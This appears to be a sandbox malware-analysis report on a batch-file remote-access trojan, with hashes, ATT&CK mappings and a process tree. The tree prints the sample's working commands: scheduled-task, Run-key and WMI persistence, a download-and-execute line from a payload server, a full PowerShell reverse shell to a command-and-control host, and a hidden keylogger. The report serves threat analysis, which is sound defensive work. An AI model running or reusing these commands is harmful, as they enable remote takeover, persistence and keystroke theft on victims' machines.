b1da563f7759374ec702548a2108dd3bd2cbab19fdd7b06b0af504e090616578

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:10

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General

Target
rat_build_44821_014208.bat
Size 4KB
Sample260529-13f7eaa13p
SHA256 b1da563f7759374ec702548a2108dd3bd2cbab19fdd7b06b0af504e090616578
MD5 e87f6eddd3b2352df436b3264d1f68cd
SHA1 293c64d85a8c3815abb88c4576cbb8a24198527f
SHA512 73f6453397e40998e832db1077282f8986c0230c1811822f00e03e54a1de99ed773ae636b390dcd22cd5877b5e7de68449401719b6235114d18e950cdfaa77d9
SSDEEP 96:SImZWm+ZRKNYJeUbdHrXytVUPAKr6A0QuEgx/BIuiFgZk8mvlo13M:SKm+ZRKJUhLxR6xQuE4uuiFgkHl2M
TLSH
T19EA1FA276756A12089B43658DD323C58537DCEFF1302CA8DEE48C8D44E8CE4BA5296E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_44821.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4144	powershell.exe
5068	powershell.exe
3920	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_44821 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_44821.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1216	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3164	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4944	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1224	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5068	powershell.exe
5068	powershell.exe
3920	powershell.exe
3920	powershell.exe
4144	powershell.exe
4144	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3728	WMIC.exe
Token: SeSecurityPrivilege	3728	WMIC.exe
Token: SeTakeOwnershipPrivilege	3728	WMIC.exe
Token: SeLoadDriverPrivilege	3728	WMIC.exe
Token: SeSystemProfilePrivilege	3728	WMIC.exe
Token: SeSystemtimePrivilege	3728	WMIC.exe
Token: SeProfSingleProcessPrivilege	3728	WMIC.exe
Token: SeIncBasePriorityPrivilege	3728	WMIC.exe
Token: SeCreatePagefilePrivilege	3728	WMIC.exe
Token: SeBackupPrivilege	3728	WMIC.exe
Token: SeRestorePrivilege	3728	WMIC.exe
Token: SeShutdownPrivilege	3728	WMIC.exe
Token: SeDebugPrivilege	3728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3728	WMIC.exe
Token: SeRemoteShutdownPrivilege	3728	WMIC.exe
Token: SeUndockPrivilege	3728	WMIC.exe
Token: SeManageVolumePrivilege	3728	WMIC.exe
Token: 33	3728	WMIC.exe
Token: 34	3728	WMIC.exe
Token: 35	3728	WMIC.exe
Token: 36	3728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3728	WMIC.exe
Token: SeSecurityPrivilege	3728	WMIC.exe
Token: SeTakeOwnershipPrivilege	3728	WMIC.exe
Token: SeLoadDriverPrivilege	3728	WMIC.exe
Token: SeSystemProfilePrivilege	3728	WMIC.exe
Token: SeSystemtimePrivilege	3728	WMIC.exe
Token: SeProfSingleProcessPrivilege	3728	WMIC.exe
Token: SeIncBasePriorityPrivilege	3728	WMIC.exe
Token: SeCreatePagefilePrivilege	3728	WMIC.exe
Token: SeBackupPrivilege	3728	WMIC.exe
Token: SeRestorePrivilege	3728	WMIC.exe
Token: SeShutdownPrivilege	3728	WMIC.exe
Token: SeDebugPrivilege	3728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3728	WMIC.exe
Token: SeRemoteShutdownPrivilege	3728	WMIC.exe
Token: SeUndockPrivilege	3728	WMIC.exe
Token: SeManageVolumePrivilege	3728	WMIC.exe
Token: 33	3728	WMIC.exe
Token: 34	3728	WMIC.exe
Token: 35	3728	WMIC.exe
Token: 36	3728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe
Token: SeSecurityPrivilege	1516	WMIC.exe
Token: SeTakeOwnershipPrivilege	1516	WMIC.exe
Token: SeLoadDriverPrivilege	1516	WMIC.exe
Token: SeSystemProfilePrivilege	1516	WMIC.exe
Token: SeSystemtimePrivilege	1516	WMIC.exe
Token: SeProfSingleProcessPrivilege	1516	WMIC.exe
Token: SeIncBasePriorityPrivilege	1516	WMIC.exe
Token: SeCreatePagefilePrivilege	1516	WMIC.exe
Token: SeBackupPrivilege	1516	WMIC.exe
Token: SeRestorePrivilege	1516	WMIC.exe
Token: SeShutdownPrivilege	1516	WMIC.exe
Token: SeDebugPrivilege	1516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1516	WMIC.exe
Token: SeRemoteShutdownPrivilege	1516	WMIC.exe
Token: SeUndockPrivilege	1516	WMIC.exe
Token: SeManageVolumePrivilege	1516	WMIC.exe
Token: 33	1516	WMIC.exe
Token: 34	1516	WMIC.exe
Token: 35	1516	WMIC.exe
Token: 36	1516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 1224	2072	cmd.exe	82
PID 2072 wrote to memory of 4944	2072	cmd.exe	83
PID 2072 wrote to memory of 3728	2072	cmd.exe	84
PID 2072 wrote to memory of 1516	2072	cmd.exe	85
PID 2072 wrote to memory of 5092	2072	cmd.exe	86
PID 2072 wrote to memory of 3164	2072	cmd.exe	87
PID 2072 wrote to memory of 1216	2072	cmd.exe	92
PID 2072 wrote to memory of 5068	2072	cmd.exe	93
PID 2072 wrote to memory of 3920	2072	cmd.exe	94
PID 2072 wrote to memory of 4144	2072	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_44821_014208.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_44821" /tr "C:\Users\Admin\AppData\Local\Temp\_44821.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1224
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_44821" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_44821.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4944
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_44821", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3728
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_44821", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_44821.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_44821.txt
  2⤵
  PID:5092
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3164
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_44821.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_4yhrl4qk.kos.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yhrl4qk.kos.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5068-3-0x0000018D56550000-0x0000018D56572000-memory.dmp

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